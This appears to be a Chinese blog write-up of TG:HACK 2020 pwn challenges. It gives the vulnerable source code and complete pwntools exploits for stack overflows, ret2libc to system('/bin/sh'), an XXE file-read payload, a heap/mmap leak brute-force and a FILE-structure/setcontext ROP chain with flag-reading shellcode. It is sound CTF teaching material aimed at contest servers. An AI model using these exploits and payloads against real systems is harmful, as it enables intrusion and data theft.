【WriteUp】TG:HACK 2020 -- Pwn 题解(未完)

看错结束时间了 555

boofy

Description:

This program looks like it’s password protected, but we can’t seem to find the correct password.


Solution:

程序都给出源代码了,的确是入门题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>


void get_flag()
{
printf("TG20{the real flag is on the server}\n");
}


void try_password()
{
char password[20] = { 0 };
int correct = 0;
printf("Please enter the password?\n");
gets(password);
if (correct == 1) {
get_flag();
} else {
printf("Sorry, but that's not the right password...\n");
}

}



int main()
{
setvbuf(stdout, NULL, _IONBF, 0);
try_password();
return 0;
}

exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 2
context(arch="amd64", endian='el', os="linux")
context.log_level = "debug"
if debug == 1:
p = process('./boofy')
else:
p = remote('boofy.tghack.no', 6003)

p.sendlineafter('password?\n', 'a' * 0x14 + p32(1))
p.interactive()

Flag:

1
TG20{The real flag is much boofier than the other one}

Bufferfly

Description:

We’ve been hunting the space goblins for quite some time now. However, we’re still having some trouble identifying their leader. In our last mission, we found a mysterious-looking chest that we think might contain some useful information. Could you help us open it?


Solution:

程序保护如下:

1
2
3
4
5
Arch:     i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

程序源代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
#include <stdlib.h>
#include <stdio.h>
#include <stdbool.h>
#include <sys/mman.h>

struct voice_recognizer {
char words[17];
bool bubble;
int characteristics;
} __attribute__((packed));

void open_door()
{
setvbuf(stdout, NULL, _IONBF, 0);
printf("As you walk closer, it is clear that the base belongs to the space"
" goblins. On the wall, there are depictions of a female goblin "
"wearing a crown with the name \"Boblinessa\" written below.\n"
"A similar chest as the one you found earlier lies on the table. "
"It opens for the same voice input as the first chest you found.\n");
char buf[60] = { 0 };
char done[12] = { 0 };
printf("\"Hi, I'm the Boblinessa cult encyclopedia!\"\n");
printf("\"So, what where you looking for?\"\n");
while(gets(buf)) {
if (!strcmp(buf, "open_door")) {
printf("Oh, that's right here: %p.\n", &open_door);
} else if (!strcmp(buf, "mprotec")) {
printf("Ah yes, our sweet Boblinessa. She protec. She protecs right "
"here in fact: %p.\n", &mprotect);
} else if (!strcmp(buf, "mattac")) {
printf("What?! No, she would never do that...\nAlso I'm hiding "
"here: %p. She wouldn't even find me here...\n", &buf);
} else if (!strcmp(buf, "quit")) {
printf("Ta ta for now!\n");
break;
} else {
printf("I don't think we have access to that right now...\n");
}
printf("\nOkay, so do you wanna see anything else or are you done?\n");
gets(done);
if (!strcmp(done, "done")) {
return;
}
printf("\"So, what where you looking for?\"\n");
}
}

void supersecret_base(void)
{
open_door();
}

void talk_to_chest(void)
{
setvbuf(stdout, NULL, _IONBF, 0);
char second[20];
printf("The chest opens up and a small, rusty laptop is unveiled\n"
"\"Hi, old goblin-friend! Remember the last time we saw each other?"
" We were hanging at our supersecret base, you know, the one"
" at %p!\n Ah yes, good times!\"", &supersecret_base);

printf("The screen flickers and the computer dies. Were do you ");
printf("wanna go now?\n");
gets(second);
}

int open_chest()
{
struct voice_recognizer voice;
voice.bubble = 1;
voice.characteristics = 37;
printf("\"Welcome! Please identify yourself.\"\n");

gets(voice.words);

bool conditions_met = voice.characteristics == 25 && voice.bubble == 0;
if (conditions_met) {
printf("\"Unlocking... Please wait...\"\n");
} else {
printf("\"Wow, your voice is seems off. Not letting you in.\"\n");
}
return conditions_met;
}


int main()
{
setvbuf(stdout, NULL, _IONBF, 0);
printf("The chest glows with a faint blue tint. When you touch it, a "
"computery voice echoes:\n");
if (open_chest()) {
talk_to_chest();
}

return 0;
}

应该是想让大家 mprotect 开栈的执行权限执行 shellcode 的,但是其实会找 libc 的话可以直接 rop

exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from easyLibc import *
from pwn import *

debug = 2
context(arch="i386", endian='el', os="linux")
context.log_level = "debug"
if debug == 1:
p = process('./bufferfly')
else:
p = remote('bufferfly.tghack.no', 6002)
elf = ELF('./bufferfly', checksec=False)

# gdb.attach(p, "b *$rebase(0x803)\nc")
p.sendlineafter('self."', p16(0) + p32(25) * 5)
p.recvuntil('the one at ')
addr_open_door = int(p.recvuntil('!')[:-1], 16)

p.sendlineafter('go now?\n', 'a' * 0x20 + p32(addr_open_door))
p.sendlineafter(' for?"\n', 'mprotec')
p.recvuntil('in fact: ')

addr_mprotect = int(p.recvuntil('.\n')[:-2], 16)
libc = easyLibc("mprotect", addr_mprotect, 5)
libcbase = addr_mprotect - libc.dump('mprotect')
addr_system = libcbase + libc.dump('system')
addr_bin_sh = libcbase + libc.dump('str_bin_sh')

pd = 'done'
pd = pd.ljust(0x54, '\x00')
pd += p32(addr_system)
pd += p32(addr_open_door)
pd += p32(addr_bin_sh)
p.sendlineafter('done?\n', pd)
p.interactive()

Flag:

1
TG20{she_mprotec_but_she_also_matac}

Extract This!

Description:

One of our agents managed to install a service on MOTHER’s network. We can use it to extract secrets, but she didn’t tell me how! Can you figure it out?


Solution:

XXE

exp 如下:

1
<!DOCTYPE a [<!ENTITY xxe SYSTEM "file:///flag.txt" >]><value>&xxe;</value>

Flag:

1
TG20{never_trust_the_external_entities}

The Biohacker’s Herbarium Service

Description:

Hope you like to preserve plants!

main

note: the service is running in a Ubuntu bionic docker container


Solution:

程序保护如下:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

这题汇编里有.plt.sec,所以 ida 莫有用丫(ida 看如同去符号化)

听 TaQini 师傅的话换了 ghidra 来做题

main 函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
void main(void)

{
uint uVar1;

setvbuf(stdin,(char *)0x0,2,0);
setvbuf(stdout,(char *)0x0,2,0);
setvbuf(stderr,(char *)0x0,2,0);
read_flag();
signal(0xe,handler);
alarm(0x1e);
puts("Welcome to the TG:Hack herbarium!");
puts("The place where you can store all your plant specimens");
do {
menu();
uVar1 = get_num();
switch(uVar1) {
default:
printf("invalid choice: %d\n",(ulong)uVar1);
break;
case 1:
add_plant();
break;
case 2:
read_plant_data();
break;
case 3:
read_plant_data_offset();
break;
case 4:
remove_plant();
break;
case 5:
puts("bye!");
/* WARNING: Subroutine does not return */
exit(0);
}
} while( true );
}

这题一开始要先看 flag 咋存的

read_flag 函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
void read_flag(void)

{
int __fd;
void *pvVar1;

__fd = open("flag.txt",0);
if (__fd == -1) {
fwrite("Couldn\'t open flag.txt!\n",1,0x18,stderr);
/* WARNING: Subroutine does not return */
exit(1);
}
pvVar1 = mmap((void *)0x0,0x1000,1,2,__fd,0);
if (pvVar1 == (void *)0xffffffffffffffff) {
fwrite("Couldn\'t mmap flag!\n",1,0x14,stderr);
/* WARNING: Subroutine does not return */
exit(1);
}
close(__fd);
return;
}

可以看到存到了 mmap 里

那我就想:普通分配的 chunk 肯定进不去,要分配大于 top_chunk 的 chunk,使其进入 mmap 才有可能访问到

然后看有用的两个函数

add_plant 函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
void add_plant(void)

{
undefined2 uVar1;
int num;
void **addr_malloc;
void *size;
void *pvVar2;

addr_malloc = (void **)get_free_plant();
if (addr_malloc == (void **)0x0) {
puts("no more room!");
}
else {
printf("size: ");
num = get_num();
size = (void *)(long)num;
if ((size == (void *)0x0) || ((void *)0xf4240 < size)) {
puts("invalid size!");
}
else {
pvVar2 = malloc((long)size + 1);
*addr_malloc = pvVar2;
if (*addr_malloc == (void *)0x0) {
fwrite("malloc() error!\n",1,0x10,stderr);
/* WARNING: Subroutine does not return */
exit(1);
}
printf("data: ");
read(0,*addr_malloc,(size_t)size);
if (*(char *)((long)*addr_malloc + (long)size + -1) == '\n') {
*(undefined *)((long)*addr_malloc + (long)size + -1) = 10;
}
addr_malloc[1] = size;
*(undefined *)((long)size + (long)*addr_malloc) = 0;
uVar1 = 0xffff;
if (size < (void *)0x10000) {
uVar1 = (undefined2)num;
}
*(undefined2 *)(addr_malloc + 2) = uVar1;
}
}
return;
}

可以看到可以分配很大的 chunk,那就借势直接把 chunk 分配到 mmap 区域

read_plant_data_offset 函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
void read_plant_data_offset(void)

{
int iVar1;
long *plVar2;

plVar2 = (long *)get_plant();
if (plVar2 != (long *)0x0) {
printf("offset: ");
iVar1 = get_num();
if (*(ushort *)(plVar2 + 2) < (ushort)iVar1) {
puts("invalid offset!");
}
else {
puts((char *)((long)iVar1 + *plVar2));
}
}
return;
}

这块看到比较大小的类型是 short,所以一开始创建的 chunk 大小只要大于或等于 0xffff,在这个比较里会被变成 0xffff

输入的大小如果是大于或等于 0xffff,在这也会变为 0xffff

所以只要一开始的 chunk 大小大于或等于 0xffff,后面爱咋输咋输,都能成功执行

在 gdb 里可以查到如果执行三次add(0xf4240, 'a'),那么 flag 的地址和最后一个 chunk 的位移的后三位始终是 0xff0

因为不同系统下偏移不一样,所以爆破就好了,每次加个 0x1000

exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 2
# context(arch="amd64", endian='el', os="linux")
context.log_level = "debug"
addr_offset = 0x70bff0

while True:
try:
if debug == 1:
p = process('./chall')
else:
p = remote('plants.tghack.no', 6004)


def add(add_size, add_data):
p.sendlineafter('> ', '1')
p.sendlineafter('size: ', str(add_size))
p.sendafter('data: ', add_data)


def leak(leak_idx, leak_offset):
p.sendlineafter('> ', '3')
p.sendlineafter('index: ', str(leak_idx))
p.sendlineafter('offset: ', str(leak_offset))


# gdb.attach(p, "b *$rebase(0x1776)\nc")
add(0xf4240, 'a')
add(0xf4240, 'a')
add(0xf4240, 'a')
leak(2, addr_offset)
info(hex(addr_offset))
if 'TG20{' in p.recvuntil('TG20{', timeout=1):
print 'TG20{' + p.recvuntil('}')
raw_input()
p.close()
except EOFError:
p.close()
continue
finally:
addr_offset += 0x1000

Flag:

1
TG20{arent_you_tired_of_these_note_taking_services_yet?_e650f8d4343a4278d3450e0a1d737e54}

Useless Crap

Description:

Here’s some useless crap for you. The flag is at /home/crap/flag.txt.


Solution:

从这开始都是赛后复现的题了

程序保护如下:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

程序设置了沙箱,沙箱规则如下(找 TaQni 师傅要的,哈哈哈):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x12 0xc000003e if (A != ARCH_X86_64) goto 0020
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x0f 0xffffffff if (A != 0xffffffff) goto 0020
0005: 0x15 0x0d 0x00 0x00000002 if (A == open) goto 0019
0006: 0x15 0x0c 0x00 0x00000003 if (A == close) goto 0019
0007: 0x15 0x0b 0x00 0x0000000a if (A == mprotect) goto 0019
0008: 0x15 0x0a 0x00 0x000000e7 if (A == exit_group) goto 0019
0009: 0x15 0x00 0x04 0x00000000 if (A != read) goto 0014
0010: 0x20 0x00 0x00 0x00000014 A = fd >> 32 # read(fd, buf, count)
0011: 0x15 0x00 0x08 0x00000000 if (A != 0x0) goto 0020
0012: 0x20 0x00 0x00 0x00000010 A = fd # read(fd, buf, count)
0013: 0x15 0x05 0x06 0x00000000 if (A == 0x0) goto 0019 else goto 0020
0014: 0x15 0x00 0x05 0x00000001 if (A != write) goto 0020
0015: 0x20 0x00 0x00 0x00000014 A = fd >> 32 # write(fd, buf, count)
0016: 0x15 0x00 0x03 0x00000000 if (A != 0x0) goto 0020
0017: 0x20 0x00 0x00 0x00000010 A = fd # write(fd, buf, count)
0018: 0x15 0x00 0x01 0x00000001 if (A != 0x1) goto 0020
0019: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0020: 0x06 0x00 0x00 0x00000000 return KILL

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <seccomp.h>

static void sandbox(void)
{
scmp_filter_ctx ctx;

ctx = seccomp_init(SCMP_ACT_KILL);
if (!ctx) {
puts("seccomp_init() error");
exit(EXIT_FAILURE);
}

seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 1,
SCMP_A0(SCMP_CMP_EQ, 0));
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 1,
SCMP_A0(SCMP_CMP_EQ, 1));
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(mprotect), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(close), 0);

if (seccomp_load(ctx) < 0) {
seccomp_release(ctx);
puts("seccomp_load() error");
exit(EXIT_FAILURE);
}

seccomp_release(ctx);
}

static void handler(int sig)
{
(void)sig;
exit(EXIT_SUCCESS);
}

static void init(void)
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
#if 1
alarm(60);
signal(SIGALRM, handler);
#endif
}

static void menu(void)
{
puts("1. read");
puts("2. write");
puts("3. exit");
}

static int get_num(void)
{
char buf[16] = { 0 };

if (!fgets(buf, sizeof(buf), stdin))
exit(EXIT_FAILURE);

return (int)strtol(buf, NULL, 10);
}

static int read_count = 0;
static int write_count = 0;

static void empty_newline(void)
{
while (getchar() != '\n')
;
}

static void do_read(void)
{
uint64_t addr, value;

if (read_count > 1) {
puts("No more reads for you!");
return;
}

printf("addr: ");
scanf("%lx", &addr);
empty_newline();

value = *(uint64_t *)addr;
printf("value: %p\n", (void *)value);

++read_count;
}

static void do_write(void)
{
uint64_t addr, value;

if (write_count > 1) {
puts("No more writes for you!");
return;
}

printf("addr/value: ");
scanf("%lx %lx", &addr, &value);
empty_newline();
*(uint64_t *)addr = value;

++write_count;
}

static char *feedback;
#define FEEDBACK_SIZE 0x500

static void leave_feedback(void)
{
char c;

if (feedback) {
puts("that's enough feedback for one day...");
return;
}

feedback = calloc(1, FEEDBACK_SIZE + 1);

printf("feedback: ");
if (!fgets(feedback, FEEDBACK_SIZE, stdin))
exit(EXIT_FAILURE);

printf("you entered: %s\n", feedback);
puts("Do you want to keep your feedback? (y/n)");

c = getchar();
empty_newline();

if (c == 'y')
return;
else if (c == 'n')
free(feedback);
}

static void view_feedback(void)
{
if (!feedback) {
puts("Leave feedback first!");
return;
}

printf("feedback: %s\n", feedback);
}

/*
* plan:
* leak stdin
* change stdin pointer to overwrite read/write count
* shellcode has to close stdin, open flag, dump it to stdout
*/
int main(void)
{
int choice;

init();
sandbox();

for (;;) {
menu();
printf("> ");
choice = get_num();

switch (choice) {
case 1:
do_read();
break;
case 2:
do_write();
break;
case 3:
leave_feedback();
break;
case 4:
view_feedback();
break;
case 5:
exit(EXIT_SUCCESS);
default:
printf("Invalid choice: %d\n", choice);
break;
}
}

return 0;
}

题目有多解,可以改__free_hook为 printf,利用格式化字符串来进行泄露

可以像题解一样,利用如下(最后我学了一波题解,exp 也是仿造的题解):

1
2
3
4
5
6
7
8
9
10
11
1. leak libc through UAF
2. leak binary base through `_dl_rtld_libname`
3. get arbitrary read/write by overwriting count variables
4. leak stack
5. create fake `FILE`
6. overwrite `_IO_list_all` with our fake `FILE`
7. overwrite `__malloc_hook` with stack pivot gadget
8. place ROP chain in bss
9. trigger ROP chain through `exit()` -> `_IO_flush_all_lockp()` ->
`_IO_str_overflow()` -> `malloc()`
10. shellcode prints the flag

这里的泄露我是自己找的方法,利用_IO_2_1_stdin_的周旁地址进行泄露

_IO_2_1_stdin_ - 0xa30左右会有存着stdin的地址,不过貌似需要先进行 setbuf 或者 setvbuf 才会有这个值

上面两种方法最后都要让 bss 段具有执行权限,最后去调用 shellcode 来进行提权

也可以直接用 libc 里面的syscall ; ret直接进行 syscall 的 rop 构造

这里有一个点一直不知道,就是本地编译的 libc 和官网上给的编译好的 libc 偏移量是不一样的

libc 貌似每次编译,内部偏移量都不一样

这种 libc 需要用 sym 来进行符号的地址获取,要么就把这种 libc 新加到 libc 库里,属于新的 libc

exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import binascii


def pack_file(_flags = 0,
_IO_read_ptr = 0,
_IO_read_end = 0,
_IO_read_base = 0,
_IO_write_base = 0,
_IO_write_ptr = 0,
_IO_write_end = 0,
_IO_buf_base = 0,
_IO_buf_end = 0,
_IO_save_base = 0,
_IO_backup_base = 0,
_IO_save_end = 0,
_IO_marker = 0,
_IO_chain = 0,
_fileno = 0,
_lock = 0,
_vtable_offset = 0,
_vtable = 0):
struct = p32(_flags) + \
p32(0x00) + \
p64(_IO_read_ptr) + \
p64(_IO_read_end) + \
p64(_IO_read_base) + \
p64(_IO_write_base) + \
p64(_IO_write_ptr) + \
p64(_IO_write_end) + \
p64(_IO_buf_base) + \
p64(_IO_buf_end) + \
p64(_IO_save_base) + \
p64(_IO_backup_base) + \
p64(_IO_save_end) + \
p64(_IO_marker) + \
p64(_IO_chain) + \
p32(_fileno)
struct = struct.ljust(0x78, "\x00")
struct += p64(_vtable_offset)
struct += p64(0x00)
struct += p64(_lock)
struct = struct.ljust(0xd8, "\x00")
struct += p64(_vtable)
return struct


debug = 1
context(arch="amd64", endian='el', os="linux")
context.log_level = "debug"
if debug == 1:
p = process('./crap', env={'LD_LIBRARY_PATH':'/usr/local/lib/'})
libc = ELF('/usr/local/lib/libc.so.6', checksec=False)
offset_bss = 0x10
offset_stdin = 0xa38
libc_rop_1 = 0x00000000000039d4 # pop rsp ; ret
libc_rop_2 = 0x0000000000021882 # pop rdi ; ret
libc_rop_3 = 0x0000000000022192 # pop rsi ; ret
libc_rop_4 = 0x0000000000001b9a # pop rdx ; ret
else:
p = remote('ctf.taqini.space', 10111)
libc = ELF('./libc-2.31.so', checksec=False)
offset_bss = 0x10
offset_stdin = 0xa38
libc_rop_1 = 0x00000000000039d4 # pop rsp ; ret
libc_rop_2 = 0x0000000000021882 # pop rdi ; ret
libc_rop_3 = 0x0000000000022192 # pop rsi ; ret
libc_rop_4 = 0x0000000000001b9a # pop rdx ; ret
cnt = 0


def do_read(do_read_addr):
p.sendlineafter('> ', '1')
p.sendlineafter('addr: ', hex(do_read_addr))
p.recvuntil('value: ')


def do_write(do_write_addr, do_write_value):
p.sendlineafter('> ', '2')
p.sendlineafter('addr/value: ', hex(do_write_addr) + ' ' + hex(do_write_value))


def leave_feedback(leave_feedback_content, leave_feedback_choice='n'):
p.sendlineafter('> ', '3')
p.sendlineafter('feedback: ', leave_feedback_content)
p.sendlineafter('dback? (y/n)\n', leave_feedback_choice)


def view_feedback():
p.sendlineafter('> ', '4')
p.recvuntil('feedback: ')


def write_pack_file(addr, data):
for i in range(0, len(data), 8):
tmp = data[i:]
if len(tmp) > 8:
tmp = tmp[:8]
elif len(tmp) < 8:
tmp = tmp.ljust(8, "\x00")
assert len(tmp) == 8
do_write(addr + i, u64(tmp))


def loop(loop_addr, loop_value):
global cnt
do_write(loop_addr, loop_value)
cnt += 8


leave_feedback('binLep')
view_feedback()

addr___malloc_hook = u64(p.recv(6).ljust(8, '\x00')) - 0x70
libcbase = addr___malloc_hook - libc.sym['__malloc_hook']
addr___free_hook = libcbase + libc.sym['__free_hook']
addr_mprotect = libcbase + libc.sym['mprotect']
addr__IO_2_1_stdin_ = libcbase + libc.sym['_IO_2_1_stdin_']
addr__IO_str_jumps = libcbase + libc.sym['_IO_str_jumps']
addr__IO_list_all = libcbase + libc.sym['_IO_list_all']
addr_setcontext = libcbase + libc.sym['setcontext']

rop_1 = libcbase + libc_rop_1
rop_2 = libcbase + libc_rop_2
rop_3 = libcbase + libc_rop_3
rop_4 = libcbase + libc_rop_4

do_read(addr__IO_2_1_stdin_ - offset_stdin)
addr_bss = int(p.recvuntil('\n')[:-1], 16) - offset_bss
addr_fake_file = addr_bss + 0x100
addr_buf = addr_bss + 0x300
addr_shellcode = addr_bss + 0x600
fake_file = pack_file(_IO_buf_base = 0x00,
_IO_buf_end = (addr_fake_file - 100) / 2,
_IO_write_ptr = addr_fake_file,
_IO_write_base = 0,
_lock = addr___free_hook,
_vtable = addr__IO_str_jumps)

do_write(addr_bss + 0x30, 0x80000000) # infinite read_count
do_write(addr_bss + 0x34, 0x80000000) # infinite write_count
write_pack_file(addr_fake_file, fake_file)

do_write(addr_bss + 0xf00, int(binascii.hexlify('/home/cr'[::-1]), 16))
do_write(addr_bss + 0xf08, int(binascii.hexlify('ap/flag.'[::-1]), 16))
do_write(addr_bss + 0xf10, int(binascii.hexlify('txt'[::-1]), 16))

pd = asm('''
xor rdi, rdi
mov rax, SYS_close
syscall
mov rdi, {0}
xor rsi, rsi
xor rdx, rdx
mov rax, SYS_open
syscall
mov rdi, 0
mov rsi, {0}
mov rdx, 0xff
mov rax, SYS_read
syscall
mov rdi, 1
mov rsi, {0}
mov rdx, 0xff
mov rax, SYS_write
syscall
xor rdi, rdi
mov rax, SYS_exit_group
syscall
'''.format(addr_bss + 0xf00))
pd = pd.ljust(0x100, '\x01')

do_write(addr_buf - 0x20, addr_buf + 0x00)
do_write(addr_buf + 0x00, rop_2)
do_write(addr_buf + 0x08, addr_bss)
do_write(addr_buf + 0x10, rop_3)
do_write(addr_buf + 0x18, 0x1000)
do_write(addr_buf + 0x20, rop_4)
do_write(addr_buf + 0x28, 7)
do_write(addr_buf + 0x30, addr_mprotect)
do_write(addr_buf + 0x38, rop_2)
do_write(addr_buf + 0x40, rop_1)
do_write(addr_buf + 0x48, addr_shellcode)

for i in range(0, 20):
loop(addr_shellcode + cnt, u64(pd[cnt: cnt + 8]))


do_write(addr_fake_file + 0xa0, addr_buf - 0x20)
do_write(addr_fake_file + 0xa8, rop_1)
do_write(addr___malloc_hook, addr_setcontext + 0x35)
do_write(addr__IO_list_all, addr_fake_file)
# gdb.attach(p, "b _IO_flush_all_lockp\nb _IO_str_overflow\nc")
success('addr___malloc_hook = ' + hex(addr___malloc_hook))
success('addr_mprotect = ' + hex(addr_mprotect))
success('addr__IO_str_jumps = ' + hex(addr__IO_str_jumps))
success('addr_bss = ' + hex(addr_bss))
success('addr_setcontext = ' + hex(addr_setcontext))
success('libcbase = ' + hex(libcbase))
p.sendlineafter('> ', '5')
p.interactive()

Flag:

1
TG20{thank_you_for_pwning_this_binary_and_have_a_nice_day}

Parallel Universe: Warmups

Description:

Can you create shellcode that runs on x86 and x86_64 simultaneously? Read the flag in flag.txt. The following syscalls are allowed:
open
read
write
close
exit_group
mmap


Solution:

exp 如下:

1
2



Flag:

1
动态靶机

Parallel Universe: Quarantine Simulator

Description:

Can you pwn these two binaries at the same time?

Your goal is to make them execute execve("/bin/sh", ...). Good luck!

nc parallel2.tghack.no 6006

Some hints/clarifications:

if one of the processes crashes, you lose
the output is prefixed with an ID, either 0 or 1
for example: 0: hello, world!\n
if one process executes execve("/bin/sh", ...);, it will freeze and you can ignore it


Solution:

exp 如下:

1
2



Flag:

1
动态靶机
文章目录
  1. 1. boofy
    1. 1.1. Description:
    2. 1.2. Solution:
    3. 1.3. Flag:
  2. 2. Bufferfly
    1. 2.1. Description:
    2. 2.2. Solution:
    3. 2.3. Flag:
  3. 3. Extract This!
    1. 3.1. Description:
    2. 3.2. Solution:
    3. 3.3. Flag:
  4. 4. The Biohacker’s Herbarium Service
    1. 4.1. Description:
    2. 4.2. Solution:
    3. 4.3. Flag:
  5. 5. Useless Crap
    1. 5.1. Description:
    2. 5.2. Solution:
    3. 5.3. Flag:
  6. 6. Parallel Universe: Warmups
    1. 6.1. Description:
    2. 6.2. Solution:
    3. 6.3. Flag:
  7. 7. Parallel Universe: Quarantine Simulator
    1. 7.1. Description:
    2. 7.2. Solution:
    3. 7.3. Flag:
|